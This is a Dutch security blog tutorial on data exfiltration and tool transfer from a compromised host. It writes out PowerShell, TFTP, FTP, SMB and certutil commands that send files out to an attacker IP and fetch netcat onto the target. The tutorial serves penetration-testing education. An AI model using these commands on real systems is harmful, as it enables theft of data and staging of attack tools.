Exfiltrate and Upload data
Ken je dat? Je hebt toegang verkregen tot een machine (vaak met een zeer gelimiteerde shell) en plots stuit je op een belangrijk stukje data. Deze data kan potentieel waardevol zijn maar in de huidige omgeving is het onmogelijk om deze data beter te bekijken. Je wilt dan die data op je eigen machine krijgen. Dit noemen we Data Exfiltration. Het omgekeerde is soms ook waar. Soms wil je juist je eigen data uploaden naar een machine. Een reverse shell of iets anders! In deze post gaan we een aantal onconventionele methodes bekijken om data te exfiltreren en transporteren met een (bijna) pwnd machine.
Data Exfiltration technieken kunnen je ontzettend helpen bij het transporteren en analyseren van data tussen je ondersoeksmachine en de doelmachine. Ook is het zo dat er geen uniforme methode is die altijd werkt. Alles is afhankelijk van de configuratie en toegelaten services op die machine en op het netwerk. In deze post bepreken we een aantal verschillende methodes van data exfiltratie. Het is aan jou, de onderzoeker om te bekijken welke methode het beste werkt.
Een exfiltratie mogelijkheid die ik niet ga bespreken is data exfiltratie middels DNS tunneling. Dit concept staat uitgebreid beschreven in deze post:
https://jarnobaselier.nl/dns-tunneling/
Ik zal deze post verdelen in 2 secties, allereerst het verkrijgen (exfiltreren) van data en vervolgens het downloaden van data. Dat laatste is vaak wat makkelijker en komt wat vaker voor maar het leek me voor de volledigheid goed om deze post daarmee aan te vullen.
Converteer naar HEX
Soms is het niet mogelijk om een binary te kopieren naar een Windows machine. In dat geval kun je je binary migreren naar een CMD HEX bestand. In dat geval kun je de UPX packager gebruiken om de EXE te verkleinen en daarna gebruik je “exe2hex” om het bestand te converteren naar b.v. een bash script (.cmd). Door dit bestand over te brengen naar de Windows machine en vervolgens uit te voeren reassembleer je het exe bestand waarna je weer een volledig werkende EXE hebt.
#Package file to shrink it upx -9 nc.exe #Create a CMD file with HEX code exe2hex -x nc.exe -p nc.cmd |
Dit ziet er dan als volgt uit:
Converteer naar Base64
Wanneer het mogelijk is om op je target data te vertalen naar Base64 dan kun je deze op je eigen machine weer terug converteren naar een bestand. Een voorwaarde hiervoor is dat het geen te grote bestanden moeten zijn. Meer dan 5MB kan al een probleem worden. Om b.v. NetCat naar HEX te converteren kun je b.v. het volgende doen:
Methode 1 = Python & base64:
#Convert to base64 with Python python -c 'print(__import__("base64").b64encode(open("file", "rb").read()))' #Paste string in a textfile and unpack content: %STRING% > output.txt #Convert Base64 file back to a normal file with Linux base64: base64 -d output.txt > output-file |
Methode 2 = Powershell:
#Convert to base64 with Powershell $Filename="C:\Users\jarno\Desktop\nc.exe" $base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes($FileName)) #Convert Base64 file back to a normal file: [IO.File]::WriteAllBytes($FileName, [Convert]::FromBase64String($base64string)) |
Upload met Powershell
Wanneer je data op een systeem vindt en je wilt deze uploaden dan zijn hiervoor diverse methodes denkbaar. Zo kun je naar downloaden ook data uploaden met Powershell. Je moet hiervoor wel een webhost draaien met upload functionaliteit. Ik gebruik hiervoor het volgende script: https://gist.github.com/UniIsland/3346170.
En wanneer de webserver gestart (http://10.11.0.4) is kunnen we b.v. het volgende document uploaden “important.docx” middels het volgende Powershell commando:
$powershell (New-Object System.Net.WebClient).UploadFile('http://10.11 .0.4/upload.php', 'important.docx') |
Je kunt uiteraard ook bestanden Downloaden met Powershell. We kunnen dit zelfs in een oneliner:
Powershell 4+: Invoke-WebRequest "http://10.11.0.4/nc64.exe" -OutFile "C:\Temp\nc.exe" Powershell Any Version: (New-Object System.Net.WebClient).DownloadFile("http://10.11.0.4/nc.exe", "C:\Temp\nc.exe") |
Upload met TFTP
Wanneer Powershell geen optie is dan is wellicht middels TFTP wel een optie. TFTP (Trivial File Transfer Protocol) is een eenvoudig bestandsoverdrachtprotocol dat veel gebruikt wordt om computers vanaf een netwerk te starten. Als de TCP/IP-stack reeds draait, kan TFTP ook gebruikt worden om andere apparatuur zoals routers en switches van firmware en configuraties te voorzien. We kunnen TFTP ook gebruiken voor data exfiltratie.
Allereerst moet je ervoor zorgen dat je een TFTP server start op je Linux machine. Hiervoor zou je ATFTP kunnen gebruiken:
#Install ATFTP sudo apt update && sudo apt install atftp #Create TFTP directory sudo mkdir /tftp #Make sure all users can access the folder: sudo chown nobody: /tftp #Start the TFTP deamon: sudo atftpd --daemon --port 69 /tftp |
Wanneer we nu v.a. b.v. een Windows machine een bestand willen uploaden dan kunnen we dat doen met het build-in tftp commando:
tftp -i 10.11.0.4 put important.docx |
FTP (VSFTPD)
VSFTPD is een FTP server voor unix based systems. Dit maakt het mogelijk om een FTP server te starten op je onderzoek machine en om vervolgens data te uploaden middels FTP. Laten we VSFTPD installeren en starten:
#Install VSFTPD sudo apt install vsftpd #Change the config file to your needs: sudo nano /etc/vsftpd.conf #Start the FTP server: sudo service vsftpd start #Check the status of the FTP server: sudo service vsftpd status |
Upload met Powershell
Wanneer je een file op een server host dan kunnen we ook Powershell gebruiken om dit bestand te downloaden. Deze scripts zijn origineel van https://www.thomasmaurer.ch/2010/11/powershell-ftp-upload-and-download/.
# Config $Username = "anonymous" $Password = "anonymous" $LocalFile = "C:\Temp\important.docx" $RemoteFile = "ftp://10.11.0.4/important.docx" # Create FTP Rquest Object $FTPRequest = [System.Net.FtpWebRequest]::Create("$RemoteFile") $FTPRequest = [System.Net.FtpWebRequest]$FTPRequest $FTPRequest.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile $FTPRequest.Credentials = new-object System.Net.NetworkCredential($Username, $Password) $FTPRequest.UseBinary = $true $FTPRequest.UsePassive = $true # Read the File for Upload $FileContent = gc -en byte $LocalFile $FTPRequest.ContentLength = $FileContent.Length # Get Stream Request by bytes $Run = $FTPRequest.GetRequestStream() $Run.Write($FileContent, 0, $FileContent.Length) # Cleanup $Run.Close() $Run.Dispose() |
En uiteraard kunnen we ook Powershel gebruiken om files te downloaden v.a. een FTP server:
# Config $Username = "anonymous" $Password = "anonymous" $LocalFile = "C:\Temp\important.docx" $RemoteFile = "ftp://10.11.0.4/important.docx" # Create a FTPWebRequest $FTPRequest = [System.Net.FtpWebRequest]::Create($RemoteFile) $FTPRequest.Credentials = New-Object System.Net.NetworkCredential($Username,$Password) $FTPRequest.Method = [System.Net.WebRequestMethods+Ftp]::DownloadFile $FTPRequest.UseBinary = $true $FTPRequest.KeepAlive = $false # Send the ftp request $FTPResponse = $FTPRequest.GetResponse() # Get a download stream from the server response $ResponseStream = $FTPResponse.GetResponseStream() # Create the target file on the local system and the download buffer $LocalFileFile = New-Object IO.FileStream ($LocalFile,[IO.FileMode]::Create) [byte[]]$ReadBuffer = New-Object byte[] 1024 # Loop through the download do { $ReadLength = $ResponseStream.Read($ReadBuffer,0,1024) $LocalFileFile.Write($ReadBuffer,0,$ReadLength) } while ($ReadLength -ne 0) |
Upload met Python-based FTP
We kunnen een webserver starten met Python (sudo python3 -m http.server 80) maar we kunnen ook met Python een FTP server starten. Een FTP server met Python starten we als volgt:
#Install PyFTPDLib (python2) pip install pyftpdlib #Install PyFTPDLib (python3) sudo apt-get install python3-pyftpdlib #Start Python(3) FTP server on port 21 and allow it to be written to: sudo python3 -m pyftpdlib -p 21 -i 10.11.0.4 --write -V |
SMB
Windows ondersteunt v.a. oudsher al het SMB (Server Message Block) protocol. We kunnen op Linux een SMB server draaien en een SMB share opzetten zodat we v.a. een Windows host middels SMB kunnen verbinden met deze share. Het voordeel is dat SMB vrijwel nooit dicht staat en we deze exfiltratiemethode bijna altijd kunnen gebruiken op een Windows machine.
Voor deze methode gebruiken we wederom een Python based oplossing. We gebruiken de smbserver van ImPacket (https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbserver.py). Download dit Python bestand en ga als volgt te werk:
#Start server: sudo python3 smbserver.py sharename /home/jarno/Desktop #Upload files xcopy important.docx \\10.11.0.4\sharename #Download files copy \\10.11.0.4\sharename\nc.exe c:\nc.exe |
Download met CertUtil
Wanneer CertUtil aanwezig is, een tool om certificaatbeheer via de CLI uit te voeren en welke vaak aanwezig is op Windows machines dan kun je ook bestanden downloaden met deze applicatie. We doen dit door de URLCache te gebruiken en te vullen met een “bestand”.
certutil.exe -urlcache -f http://10.11.0.4/nc.exe C:\\Windows\Temp\nc.exe |
Conclusie
Zoals je hebt kunnen lezen zijn er nogal wat data exfiltration technieken. Uiteraard is het onmogelijk om alle technieken te bespreken. Heel veel frameworks kennen ook data exfiltration technieken. Heb je een Meterpreter shell, een Evil-WinRM sessie, een actieve PwnCat reverse shell etc… dan is het mogelijk om via die tools data te exfiltreren en te uploaden. Maar wanneer je bare-bone op een machine zit dan kunnen de hierboven besproken technieken zeer waardevol zijn.
❤ Geïnteresseerd in InfoSec? Neem eens een kijkje op onze “NL InfoSec” Discord server. Klik op een van de Discord banners op deze site. We bespreken hier allerhande InfoSec nieuws van HackTheBox tot studie en van bug bounties tot CVE’s! Tot ziens! ❤